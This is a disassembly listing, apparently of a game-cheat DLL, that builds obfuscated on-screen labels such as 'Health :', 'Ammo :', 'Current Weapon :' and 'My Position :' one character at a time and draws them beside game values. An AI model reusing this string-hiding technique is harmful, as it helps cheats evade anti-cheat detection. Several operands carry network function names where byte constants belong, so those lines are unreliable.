call fcn.180076bd0
nop
lea rcx, [rbp + 0x3138]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x470], rax
mov byte [rbp + 0x478], al
mov cl, 0x48
call fcn.180056a40
mov byte [rsp + 0x50], al
mov cl, 0x65
call fcn.180056a40
movzx r13d, al
mov cl, 0x61
call fcn.180056a40
movzx r12d, al
mov cl, 0x6c
call fcn.180056a40
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056a40
movzx r14d, al
mov cl, 0x68
call fcn.180056a40
movzx esi, al
mov cl, 0x20
call fcn.180056a40
movzx edi, al
mov cl, 0x3a
call fcn.180056a40
movzx ebx, al
xor ecx, ecx
call fcn.180056a40
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x470], cl
mov byte [rbp + 0x471], r13b
mov byte [rbp + 0x472], r12b
mov byte [rbp + 0x473], r15b
mov byte [rbp + 0x474], r14b
mov byte [rbp + 0x475], sil
mov byte [rbp + 0x476], dil
mov byte [rbp + 0x477], bl
mov byte [rbp + 0x478], al
lea rcx, [rbp + 0x3158]
call fcn.180011f00
mov dword [rsp + 0x70], 0x400
xor r8d, r8d
mov esi, 9
mov edx, esi
lea rcx, [rbp + 0x3158]
call fcn.180014330
xor edi, edi
mov r14d, edi
nop word [rax + rax]
mov rdx, r14
lea rcx, [rbp + 0x470]
call fcn.180014be0
movzx ecx, byte [rax]
call fcn.180056a40
movzx ebx, al
mov rdx, r14
lea rcx, [rbp + 0x3158]
call fcn.180014c80
mov byte [rax], bl
inc r14
sub rsi, 1
jne 0x1800e3910
lea rcx, [rbp + 0x3158]
call fcn.1800143e0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
lea edx, [rsi + 0x64]
lea r9d, [rsi + 0x68]
lea r8d, [rsi + 0x65]
lea rcx, [rbp + 0x4988]
call fcn.180011e40
mov rdx, rbx
mov rcx, rax
call fcn.1800941d0
nop
lea rcx, [rbp + 0x3158]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
lea rcx, [rbp + 0x3e00]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x4cb8]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3e08]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
subss xmm6, xmm7
movaps xmm0, xmm6
call fcn.180076bd0
lea rcx, [rbp + 0x4cb8]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
call fcn.180075800
call fcn.180076ba0
subss xmm0, dword [0x1801ce79c]
call fcn.180076c20
xor eax, eax
mov qword [rbp + 0x1210], rax
mov cl, 0x41
call fcn.180056960
mov byte [rsp + 0x70], al
mov cl, WSAStartup
call fcn.180056960
mov byte [rsp + 0x71], al
mov cl, 0x6d
call fcn.180056960
mov byte [rsp + 0x72], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056960
mov byte [rsp + 0x73], al
mov cl, WSAStartup
call fcn.180056960
mov byte [rsp + 0x74], al
mov cl, 0x20
call fcn.180056960
mov byte [rsp + 0x75], al
mov cl, 0x3a
call fcn.180056960
mov byte [rsp + 0x76], al
xor ecx, ecx
call fcn.180056960
mov byte [rsp + 0x77], al
mov rax, qword [rsp + 0x70]
mov qword [rbp + 0x1210], rax
lea rcx, [rbp + 0x3178]
call fcn.180011f00
mov dword [rsp + 0x70], 0x1000
xor r8d, r8d
mov esi, 8
mov edx, esi
lea rcx, [rbp + 0x3178]
call fcn.180014330
nop
mov rdx, rdi
lea rcx, [rbp + 0x1210]
call fcn.1800149e0
movzx ecx, byte [rax]
call fcn.180056960
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3178]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e3ab0
lea rcx, [rbp + 0x3e10]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x3178]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3e18]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
addss xmm6, xmm7
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x3178]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x220], rax
mov word [rbp + 0x228], ax
mov byte [rbp + 0x22a], al
mov cl, 0x44
call fcn.1800ed7b0
mov byte [rsp + 0x50], al
mov cl, 0x69
call fcn.1800ed7b0
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800ed7b0
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800ed7b0
movzx r13d, al
mov cl, 0x61
call fcn.1800ed7b0
movzx r12d, al
mov cl, WSAGetLastError
call fcn.1800ed7b0
movzx r15d, al
mov cl, 0x63
call fcn.1800ed7b0
movzx r14d, al
mov cl, 0x65
call fcn.1800ed7b0
movzx esi, al
mov cl, 0x20
call fcn.1800ed7b0
movzx edi, al
mov cl, 0x3a
call fcn.1800ed7b0
movzx ebx, al
xor ecx, ecx
call fcn.1800ed7b0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x220], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x221], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x222], cl
mov byte [rbp + 0x223], r13b
mov byte [rbp + 0x224], r12b
mov byte [rbp + 0x225], r15b
mov byte [rbp + 0x226], r14b
mov byte [rbp + 0x227], sil
mov byte [rbp + 0x228], dil
mov byte [rbp + 0x229], bl
mov byte [rbp + 0x22a], al
lea rcx, [rbp + 0x3198]
call fcn.180011f00
mov dword [rsp + 0x70], 0x2000
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x3198]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
nop dword [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x220]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.1800ed7b0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3198]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e3c60
lea rcx, [rbp + 0x3198]
call fcn.1800143e0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
lea edx, [rsi + 0x64]
lea r9d, [rsi + 0x68]
lea r8d, [rsi + 0x65]
lea rcx, [rbp + 0x4998]
call fcn.180011e40
mov rdx, rbx
mov rcx, rax
call fcn.1800941d0
nop
lea rcx, [rbp + 0x3198]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
lea rcx, [rbp + 0x3e20]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x4c98]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3e28]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
addss xmm6, xmm7
movaps xmm0, xmm6
call fcn.180076bd0
lea rcx, [rbp + 0x4c98]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
call fcn.180075800
call fcn.180096cd0
xor eax, eax
mov qword [rbp + 0x230], rax
mov word [rbp + 0x238], ax
mov byte [rbp + 0x23a], al
mov cl, 0x44
call fcn.180056910
mov byte [rsp + 0x50], al
mov cl, 0x69
call fcn.180056910
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180056910
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056910
movzx r13d, al
mov cl, 0x61
call fcn.180056910
movzx r12d, al
mov cl, WSAGetLastError
call fcn.180056910
movzx r15d, al
mov cl, 0x63
call fcn.180056910
movzx r14d, al
mov cl, 0x65
call fcn.180056910
movzx esi, al
mov cl, 0x20
call fcn.180056910
movzx edi, al
mov cl, 0x3a
call fcn.180056910
movzx ebx, al
xor ecx, ecx
call fcn.180056910
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x230], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x231], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x232], cl
mov byte [rbp + 0x233], r13b
mov byte [rbp + 0x234], r12b
mov byte [rbp + 0x235], r15b
mov byte [rbp + 0x236], r14b
mov byte [rbp + 0x237], sil
mov byte [rbp + 0x238], dil
mov byte [rbp + 0x239], bl
mov byte [rbp + 0x23a], al
lea rcx, [rbp + 0x31b8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x4000
xor r8d, r8d
mov ebx, listen
mov edx, ebx
lea rcx, [rbp + 0x31b8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x230]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180056910
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x31b8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e3e70
lea rcx, [rbp + 0x3e30]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x31b8]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3e38]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x31b8]
call fcn.180011f20
xor eax, eax
mov qword [rbp + 0x240], rax
mov word [rbp + 0x248], ax
mov byte [rbp + 0x24a], al
mov cl, 0x44
call fcn.180014950
mov byte [rsp + 0x50], al
mov cl, 0x69
call fcn.180014950
mov byte [rsp + 0x51], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.180014950
mov byte [rsp + 0x52], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014950
movzx r13d, al
mov cl, 0x61
call fcn.180014950
movzx r12d, al
mov cl, WSAGetLastError
call fcn.180014950
movzx r15d, al
mov cl, 0x63
call fcn.180014950
movzx r14d, al
mov cl, 0x65
call fcn.180014950
movzx esi, al
mov cl, 0x20
call fcn.180014950
movzx edi, al
mov cl, 0x3a
call fcn.180014950
movzx ebx, al
xor ecx, ecx
call fcn.180014950
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x240], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x241], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x242], cl
mov byte [rbp + 0x243], r13b
mov byte [rbp + 0x244], r12b
mov byte [rbp + 0x245], r15b
mov byte [rbp + 0x246], r14b
mov byte [rbp + 0x247], sil
mov byte [rbp + 0x248], dil
mov byte [rbp + 0x249], bl
mov byte [rbp + 0x24a], al
lea rcx, [rbp + 0x31d8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x8000
xor r8d, r8d
mov esi, listen
mov edx, esi
lea rcx, [rbp + 0x31d8]
call fcn.180014330
xor edi, edi
nop
mov rdx, rdi
lea rcx, [rbp + 0x240]
call fcn.180014af0
movzx ecx, byte [rax]
call fcn.180014950
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x31d8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e4010
lea rcx, [rbp + 0x31d8]
call fcn.1800143e0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
lea edx, [rsi + 0x64]
lea r9d, [rsi + 0x68]
lea r8d, [rsi + 0x65]
lea rcx, [rbp + 0x49a8]
call fcn.180011e40
mov rdx, rbx
mov rcx, rax
call fcn.1800941d0
nop
lea rcx, [rbp + 0x31d8]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
lea rcx, [rbp + 0x3e40]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x4c58]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3e48]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
lea rcx, [rbp + 0x4c58]
call fcn.1800143e0
mov rcx, rax
call fcn.1800940c0
call fcn.180075800
call fcn.180096cd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf78], xmm0
mov word [rbp + 0xf88], ax
mov cl, 0x43
call fcn.1800146d0
mov byte [rsp + 0x50], al
mov cl, 0x75
call fcn.1800146d0
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.1800146d0
mov byte [rsp + 0x52], al
mov cl, WSAStartup
call fcn.1800146d0
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.1800146d0
mov byte [rsp + 0x54], al
mov cl, WSAGetLastError
call fcn.1800146d0
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800146d0
mov byte [rsp + 0x56], al
mov cl, 0x20
call fcn.1800146d0
mov byte [rsp + 0x57], al
mov cl, 0x56
call fcn.1800146d0
mov byte [rsp + 0x58], al
mov cl, 0x65
call fcn.1800146d0
mov byte [rsp + 0x59], al
mov cl, 0x68
call fcn.1800146d0
movzx r13d, al
mov cl, 0x69
call fcn.1800146d0
movzx r12d, al
mov cl, 0x63
call fcn.1800146d0
movzx r15d, al
mov cl, 0x6c
call fcn.1800146d0
movzx r14d, al
mov cl, 0x65
call fcn.1800146d0
movzx esi, al
mov cl, 0x20
call fcn.1800146d0
movzx edi, al
mov cl, 0x3a
call fcn.1800146d0
movzx ebx, al
xor ecx, ecx
call fcn.1800146d0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xf78], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xf79], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xf7a], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xf7b], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xf7c], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xf7d], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xf7e], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xf7f], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xf80], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xf81], cl
mov byte [rbp + 0xf82], r13b
mov byte [rbp + 0xf83], r12b
mov byte [rbp + 0xf84], r15b
mov byte [rbp + 0xf85], r14b
mov byte [rbp + 0xf86], sil
mov byte [rbp + 0xf87], dil
mov byte [rbp + 0xf88], bl
mov byte [rbp + 0xf89], al
lea rcx, [rbp + 0x31f8]
call fcn.180011f00
mov dword [rsp + 0x70], 0x10000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_select
mov edx, ebx
lea rcx, [rbp + 0x31f8]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xf78]
call fcn.180014880
movzx ecx, byte [rax]
call fcn.1800146d0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x31f8]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e42b0
lea rcx, [rbp + 0x3e50]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x31f8]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3e58]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x31f8]
call fcn.180011f20
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xf60], xmm0
mov word [rbp + 0xf70], ax
mov cl, 0x43
call fcn.180014790
mov byte [rsp + 0x50], al
mov cl, 0x75
call fcn.180014790
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.180014790
mov byte [rsp + 0x52], al
mov cl, WSAStartup
call fcn.180014790
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.180014790
mov byte [rsp + 0x54], al
mov cl, WSAGetLastError
call fcn.180014790
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014790
mov byte [rsp + 0x56], al
mov cl, 0x20
call fcn.180014790
mov byte [rsp + 0x57], al
mov cl, 0x56
call fcn.180014790
mov byte [rsp + 0x58], al
mov cl, 0x65
call fcn.180014790
mov byte [rsp + 0x59], al
mov cl, 0x68
call fcn.180014790
movzx r13d, al
mov cl, 0x69
call fcn.180014790
movzx r12d, al
mov cl, 0x63
call fcn.180014790
movzx r15d, al
mov cl, 0x6c
call fcn.180014790
movzx r14d, al
mov cl, 0x65
call fcn.180014790
movzx esi, al
mov cl, 0x20
call fcn.180014790
movzx edi, al
mov cl, 0x3a
call fcn.180014790
movzx ebx, al
xor ecx, ecx
call fcn.180014790
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xf60], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xf61], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xf62], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xf63], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xf64], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xf65], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xf66], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xf67], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xf68], cl
movzx ecx, byte [rsp + 0x59]
mov byte [rbp + 0xf69], cl
mov byte [rbp + 0xf6a], r13b
mov byte [rbp + 0xf6b], r12b
mov byte [rbp + 0xf6c], r15b
mov byte [rbp + 0xf6d], r14b
mov byte [rbp + 0xf6e], sil
mov byte [rbp + 0xf6f], dil
mov byte [rbp + 0xf70], bl
mov byte [rbp + 0xf71], al
lea rcx, [rbp + 0x3218]
call fcn.180011f00
mov dword [rsp + 0x70], 0x20000
xor r8d, r8d
mov esi, reloc.WS2_32.dll_select
mov edx, esi
lea rcx, [rbp + 0x3218]
call fcn.180014330
xor edi, edi
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0xf60]
call fcn.180014880
movzx ecx, byte [rax]
call fcn.180014790
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3218]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e44f0
lea rcx, [rbp + 0x3218]
call fcn.1800143e0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
lea edx, [rsi + 0x64]
lea r9d, [rsi + 0x68]
lea r8d, [rsi + 0x65]
lea rcx, [rbp + 0x49b8]
call fcn.180011e40
mov rdx, rbx
mov rcx, rax
call fcn.1800941d0
nop
lea rcx, [rbp + 0x3218]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
lea rcx, [rbp + 0x3e60]
call fcn.180076f00
movss xmm6, dword [rax]
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp - 0x80]
lea rcx, [rbp + 0x3e68]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
mov rcx, qword [rbp - 0x80]
call fcn.1800940c0
call fcn.180075800
call fcn.180096cd0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe18], xmm0
mov byte [rbp + 0xe28], al
mov cl, 0x43
call fcn.180056ae0
mov byte [rsp + 0x50], al
mov cl, 0x75
call fcn.180056ae0
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.180056ae0
mov byte [rsp + 0x52], al
mov cl, WSAStartup
call fcn.180056ae0
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.180056ae0
mov byte [rsp + 0x54], al
mov cl, WSAGetLastError
call fcn.180056ae0
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180056ae0
mov byte [rsp + 0x56], al
mov cl, 0x20
call fcn.180056ae0
mov byte [rsp + 0x57], al
mov cl, 0x57
call fcn.180056ae0
mov byte [rsp + 0x58], al
mov cl, 0x65
call fcn.180056ae0
movzx r13d, al
mov cl, 0x61
call fcn.180056ae0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180056ae0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180056ae0
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180056ae0
movzx esi, al
mov cl, 0x20
call fcn.180056ae0
movzx edi, al
mov cl, 0x3a
call fcn.180056ae0
movzx ebx, al
xor ecx, ecx
call fcn.180056ae0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xe18], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xe19], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xe1a], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xe1b], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xe1c], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xe1d], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xe1e], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xe1f], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xe20], cl
mov byte [rbp + 0xe21], r13b
mov byte [rbp + 0xe22], r12b
mov byte [rbp + 0xe23], r15b
mov byte [rbp + 0xe24], r14b
mov byte [rbp + 0xe25], sil
mov byte [rbp + 0xe26], dil
mov byte [rbp + 0xe27], bl
mov byte [rbp + 0xe28], al
lea rcx, [rbp + 0x3238]
call fcn.180011f00
mov dword [rsp + 0x70], 0x80000
xor r8d, r8d
mov ebx, reloc.WS2_32.dll_recvfrom
mov edx, ebx
lea rcx, [rbp + 0x3238]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop dword [rax]
mov rdx, rdi
lea rcx, [rbp + 0xe18]
call fcn.1800148e0
movzx ecx, byte [rax]
call fcn.180056ae0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3238]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e4760
lea rcx, [rbp + 0x3e70]
call fcn.180076f00
movss xmm6, dword [rax]
lea rcx, [rbp + 0x3238]
call fcn.1800143e0
mov rdx, rax
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
lea rcx, [rbp + 0x3e78]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
nop
lea rcx, [rbp + 0x3238]
call fcn.180011f20
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xe00], xmm0
mov byte [rbp + 0xe10], al
mov cl, 0x43
call fcn.180014ae0
mov byte [rsp + 0x50], al
mov cl, 0x75
call fcn.180014ae0
mov byte [rsp + 0x51], al
mov cl, WSAStartup
call fcn.180014ae0
mov byte [rsp + 0x52], al
mov cl, WSAStartup
call fcn.180014ae0
mov byte [rsp + 0x53], al
mov cl, 0x65
call fcn.180014ae0
mov byte [rsp + 0x54], al
mov cl, WSAGetLastError
call fcn.180014ae0
mov byte [rsp + 0x55], al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.180014ae0
mov byte [rsp + 0x56], al
mov cl, 0x20
call fcn.180014ae0
mov byte [rsp + 0x57], al
mov cl, 0x57
call fcn.180014ae0
mov byte [rsp + 0x58], al
mov cl, 0x65
call fcn.180014ae0
movzx r13d, al
mov cl, 0x61
call fcn.180014ae0
movzx r12d, al
mov cl, reloc.WS2_32.dll_WSASetLastError
call fcn.180014ae0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.180014ae0
movzx r14d, al
mov cl, WSAGetLastError
call fcn.180014ae0
movzx esi, al
mov cl, 0x20
call fcn.180014ae0
movzx edi, al
mov cl, 0x3a
call fcn.180014ae0
movzx ebx, al
xor ecx, ecx
call fcn.180014ae0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0xe00], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0xe01], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0xe02], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0xe03], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0xe04], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0xe05], cl
movzx ecx, byte [rsp + 0x56]
mov byte [rbp + 0xe06], cl
movzx ecx, byte [rsp + 0x57]
mov byte [rbp + 0xe07], cl
movzx ecx, byte [rsp + 0x58]
mov byte [rbp + 0xe08], cl
mov byte [rbp + 0xe09], r13b
mov byte [rbp + 0xe0a], r12b
mov byte [rbp + 0xe0b], r15b
mov byte [rbp + 0xe0c], r14b
mov byte [rbp + 0xe0d], sil
mov byte [rbp + 0xe0e], dil
mov byte [rbp + 0xe0f], bl
mov byte [rbp + 0xe10], al
lea rcx, [rbp + 0x3258]
call fcn.180011f00
mov dword [rsp + 0x70], 0x200000
xor r8d, r8d
mov esi, reloc.WS2_32.dll_recvfrom
mov edx, esi
lea rcx, [rbp + 0x3258]
call fcn.180014330
xor edi, edi
nop
mov rdx, rdi
lea rcx, [rbp + 0xe00]
call fcn.1800148e0
movzx ecx, byte [rax]
call fcn.180014ae0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3258]
call fcn.180014c80
mov byte [rax], bl
inc rdi
sub rsi, 1
jne 0x1800e4980
lea rcx, [rbp + 0x3258]
call fcn.1800143e0
mov rbx, rax
mov dword [rsp + 0x20], 0xff
lea edx, [rsi + 0x64]
lea r9d, [rsi + 0x68]
lea r8d, [rsi + 0x65]
lea rcx, [rbp + 0x49c8]
call fcn.180011e40
mov rdx, rbx
mov rcx, rax
call fcn.1800941d0
nop
lea rcx, [rbp + 0x3258]
call fcn.180011f20
mov rcx, qword [0x1805e4828]
call fcn.180075760
lea rcx, [rbp + 0x3e80]
call fcn.180076f00
movss xmm6, dword [rax]
movss dword [rsp + 0x20], xmm11
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [rbp + 0x1118]
lea rcx, [rbp + 0x3e88]
call fcn.18006fcc0
mulss xmm6, xmm9
movss xmm1, dword [rax]
mulss xmm1, xmm9
subss xmm6, xmm1
movaps xmm0, xmm6
call fcn.180076bd0
mov rcx, qword [rbp + 0x1118]
call fcn.1800940c0
call fcn.180075800
call fcn.180096cd0
xor eax, eax
mov qword [rbp + 0x800], rax
mov dword [rbp + 0x808], eax
mov word [rbp + 0x80c], ax
mov cl, 0x4d
call fcn.1800568e0
mov byte [rsp + 0x50], al
mov cl, 0x79
call fcn.1800568e0
mov byte [rsp + 0x51], al
mov cl, 0x20
call fcn.1800568e0
mov byte [rsp + 0x52], al
mov cl, 0x50
call fcn.1800568e0
mov byte [rsp + 0x53], al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800568e0
mov byte [rsp + 0x54], al
mov cl, reloc.WS2_32.dll_WSAStartup
call fcn.1800568e0
mov byte [rsp + 0x55], al
mov cl, 0x69
call fcn.1800568e0
movzx r13d, al
mov cl, reloc.WS2_32.dll_WSACleanup
call fcn.1800568e0
movzx r12d, al
mov cl, 0x69
call fcn.1800568e0
movzx r15d, al
mov cl, reloc.WS2_32.dll_WSAGetLastError
call fcn.1800568e0
movzx r14d, al
mov cl, WSAGetLastError
call fcn.1800568e0
movzx esi, al
mov cl, 0x20
call fcn.1800568e0
movzx edi, al
mov cl, 0x3a
call fcn.1800568e0
movzx ebx, al
xor ecx, ecx
call fcn.1800568e0
movzx ecx, byte [rsp + 0x50]
mov byte [rbp + 0x800], cl
movzx ecx, byte [rsp + 0x51]
mov byte [rbp + 0x801], cl
movzx ecx, byte [rsp + 0x52]
mov byte [rbp + 0x802], cl
movzx ecx, byte [rsp + 0x53]
mov byte [rbp + 0x803], cl
movzx ecx, byte [rsp + 0x54]
mov byte [rbp + 0x804], cl
movzx ecx, byte [rsp + 0x55]
mov byte [rbp + 0x805], cl
mov byte [rbp + 0x806], r13b
mov byte [rbp + 0x807], r12b
mov byte [rbp + 0x808], r15b
mov byte [rbp + 0x809], r14b
mov byte [rbp + 0x80a], sil
mov byte [rbp + 0x80b], dil
mov byte [rbp + 0x80c], bl
mov byte [rbp + 0x80d], al
lea rcx, [rbp + 0x3278]
call fcn.180011f00
mov dword [rsp + 0x70], 0x400000
xor r8d, r8d
mov ebx, recv
mov edx, ebx
lea rcx, [rbp + 0x3278]
call fcn.180014330
xor edi, edi
mov esi, ebx
nop word [rax + rax]
mov rdx, rdi
lea rcx, [rbp + 0x800]
call fcn.1800149b0
movzx ecx, byte [rax]
call fcn.1800568e0
movzx ebx, al
mov rdx, rdi
lea rcx, [rbp + 0x3278]
call fcn.180014c80
